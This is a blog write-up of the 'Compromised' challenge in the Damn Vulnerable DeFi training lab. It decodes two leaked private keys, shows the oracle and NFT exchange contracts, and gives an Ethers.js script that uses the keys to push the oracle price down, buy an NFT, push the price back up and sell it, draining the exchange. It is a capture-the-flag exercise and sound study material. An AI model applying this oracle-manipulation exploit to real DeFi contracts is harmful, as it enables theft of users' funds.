Damn Vulnerable DeFi - Compromised
June 28, 2023•945 words
The contract
Starting with just 0.1 ETH in balance, pass the challenge by obtaining all ETH available in the exchange.
We also receive two very long strings as part of the challenge:
4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35
4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34
The solution
The two strings look like hexdumps: if we remove the whitespace and decode it from hex, we obtain a base64-encoded value. Decoding it yields a private key.
This means we now have two private keys.
Let's look at the contracts we are dealing with now. There is an oracle:
contract TrustfulOracle is AccessControlEnumerable {
uint256 public constant MIN_SOURCES = 1;
bytes32 public constant TRUSTED_SOURCE_ROLE = keccak256("TRUSTED_SOURCE_ROLE");
bytes32 public constant INITIALIZER_ROLE = keccak256("INITIALIZER_ROLE");
// Source address => (symbol => price)
mapping(address => mapping(string => uint256)) private _pricesBySource;
error NotEnoughSources();
event UpdatedPrice(address indexed source, string indexed symbol, uint256 oldPrice, uint256 newPrice);
constructor(address[] memory sources, bool enableInitialization) {
if (sources.length < MIN_SOURCES)
revert NotEnoughSources();
for (uint256 i = 0; i < sources.length;) {
unchecked {
_setupRole(TRUSTED_SOURCE_ROLE, sources[i]);
++i;
}
}
if (enableInitialization)
_setupRole(INITIALIZER_ROLE, msg.sender);
}
// A handy utility allowing the deployer to setup initial prices (only once)
function setupInitialPrices(address[] calldata sources, string[] calldata symbols, uint256[] calldata prices)
external
onlyRole(INITIALIZER_ROLE)
{
// Only allow one (symbol, price) per source
require(sources.length == symbols.length && symbols.length == prices.length);
for (uint256 i = 0; i < sources.length;) {
unchecked {
_setPrice(sources[i], symbols[i], prices[i]);
++i;
}
}
renounceRole(INITIALIZER_ROLE, msg.sender);
}
function postPrice(string calldata symbol, uint256 newPrice) external onlyRole(TRUSTED_SOURCE_ROLE) {
_setPrice(msg.sender, symbol, newPrice);
}
function getMedianPrice(string calldata symbol) external view returns (uint256) {
return _computeMedianPrice(symbol);
}
function getAllPricesForSymbol(string memory symbol) public view returns (uint256[] memory prices) {
uint256 numberOfSources = getRoleMemberCount(TRUSTED_SOURCE_ROLE);
prices = new uint256[](numberOfSources);
for (uint256 i = 0; i < numberOfSources;) {
address source = getRoleMember(TRUSTED_SOURCE_ROLE, i);
prices[i] = getPriceBySource(symbol, source);
unchecked { ++i; }
}
}
function getPriceBySource(string memory symbol, address source) public view returns (uint256) {
return _pricesBySource[source][symbol];
}
function _setPrice(address source, string memory symbol, uint256 newPrice) private {
uint256 oldPrice = _pricesBySource[source][symbol];
_pricesBySource[source][symbol] = newPrice;
emit UpdatedPrice(source, symbol, oldPrice, newPrice);
}
function _computeMedianPrice(string memory symbol) private view returns (uint256) {
uint256[] memory prices = getAllPricesForSymbol(symbol);
LibSort.insertionSort(prices);
if (prices.length % 2 == 0) {
uint256 leftPrice = prices[(prices.length / 2) - 1];
uint256 rightPrice = prices[prices.length / 2];
return (leftPrice + rightPrice) / 2;
} else {
return prices[prices.length / 2];
}
}
}
The relevant thing to notice is that, if we were part of the trusted sources, we could influence the median price and, thus, change the value of the NFT.
The other contract represents the exchange that allows us to buy and sell the NFT:
contract Exchange is ReentrancyGuard {
using Address for address payable;
DamnValuableNFT public immutable token;
TrustfulOracle public immutable oracle;
error InvalidPayment();
error SellerNotOwner(uint256 id);
error TransferNotApproved();
error NotEnoughFunds();
event TokenBought(address indexed buyer, uint256 tokenId, uint256 price);
event TokenSold(address indexed seller, uint256 tokenId, uint256 price);
constructor(address _oracle) payable {
token = new DamnValuableNFT();
token.renounceOwnership();
oracle = TrustfulOracle(_oracle);
}
function buyOne() external payable nonReentrant returns (uint256 id) {
if (msg.value == 0)
revert InvalidPayment();
// Price should be in [wei / NFT]
uint256 price = oracle.getMedianPrice(token.symbol());
if (msg.value < price)
revert InvalidPayment();
id = token.safeMint(msg.sender);
unchecked {
payable(msg.sender).sendValue(msg.value - price);
}
emit TokenBought(msg.sender, id, price);
}
function sellOne(uint256 id) external nonReentrant {
if (msg.sender != token.ownerOf(id))
revert SellerNotOwner(id);
if (token.getApproved(id) != address(this))
revert TransferNotApproved();
// Price should be in [wei / NFT]
uint256 price = oracle.getMedianPrice(token.symbol());
if (address(this).balance < price)
revert NotEnoughFunds();
token.transferFrom(msg.sender, address(this), id);
token.burn(id);
payable(msg.sender).sendValue(price);
emit TokenSold(msg.sender, id, price);
}
receive() external payable {}
}
If we suppose (correctly) that the two private keys are those of the trusted sources, a potential attack vector could be the following one:
- we can post new prices for the NFT from both accounts, droppings its price
- as the player user, we can now buy the NFT for a very low price
- once again, we post new prices for the NFT. This time, high prices that will influence the NFT value to rise
- as the player user, we can now sell the NFT and make a huge profit, effectively defeating the challenge
For all this, using Ethers.js will suffice. We just have to create two accounts from the private keys and then follow the steps outlined above.
The code I used to solve the challenge is the following one:
first_key = '0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9';
second_key = '0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48';
signer1 = new ethers.Wallet(first_key, ethers.provider);
signer2 = new ethers.Wallet(second_key, ethers.provider);
token = await nftToken.symbol();
await oracle.connect(signer1).postPrice(token, 0);
await oracle.connect(signer2).postPrice(token, 0);
await exchange.connect(player).buyOne({value: 1});
await oracle.connect(signer1).postPrice(token, INITIAL_NFT_PRICE);
await oracle.connect(signer2).postPrice(token, INITIAL_NFT_PRICE);
await nftToken.connect(player).approve(exchange.address, 0);
await exchange.connect(player).sellOne(0);
Merry hacking ;)